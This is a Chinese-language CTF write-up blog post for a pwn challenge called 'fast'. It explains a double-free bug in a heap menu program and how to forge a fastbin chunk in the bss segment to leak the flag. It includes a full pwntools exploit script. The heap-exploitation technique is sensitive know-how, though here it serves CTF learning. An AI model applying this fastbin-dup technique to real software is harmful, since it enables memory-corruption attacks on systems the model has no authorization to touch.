[Pwn]fast xp0int Posted on Oct 28 2018 # fast <br> 这是一道简单的fastbin的题目。 拖进ida,逻辑很简单,读取flag到bss段上,然后输入一段comment,接着就是heap题目常见的增删功能了。 ![](https://leanote.com/api/file/getImage?fileId=5bd41fa7ab64411fb8003b44) <br> 漏洞在`del_name`中,可以有double free。 ![](https://leanote.com/api/file/getImage?fileId=5bd41fa7ab64411fb8003b45) <br> 因为comment也在bss段,而且在flag上面,所以我们可以利用double free在bss段上伪造一个chunk,然后在打印这个chunk的时候顺带就把flag打印出来了。 <br> 思路:输入comment的时候顺便输入一个size,因为之后在malloc的时候会检查size是否正确。然后malloc两次,在free掉(两次malloc是为了绕过free检查)。 接着再malloc四次,第一的时候填入地址,第四次即可malloc到你输入的地址。 ```python from pwn import * # context.log_level = 'debug' def malloc(size, buf): p.recvuntil('> ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Name: ') p.send(buf) p.recvuntil(': ') Name = p.recvuntil('\n')[:-1] p.recvuntil(': ') Addr = p.recvuntil('\n')[:-1] return (Name, Addr) def free(addr): p.recvuntil('> ') p.sendline('2') p.recvuntil(': ') p.sendline(addr) p.recvuntil('!') p = process('./fast') # p = remote('35.221.144.41',10001) flag = 0x204056 p.sendline('a'*94 + chr(0x81)) _, Addr1 = malloc(120, '123123') _, Addr2 = malloc(120, '123123') free(Addr1) free(Addr2) free(Addr1) malloc(120, p64(flag)) malloc(120, '123123') malloc(120, 'BBBBBB') flag,a = malloc(120,'a'*26) print(flag[26:]) p.close() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc]bitcoin_base [Misc]加密了吗
没有帐号? 立即注册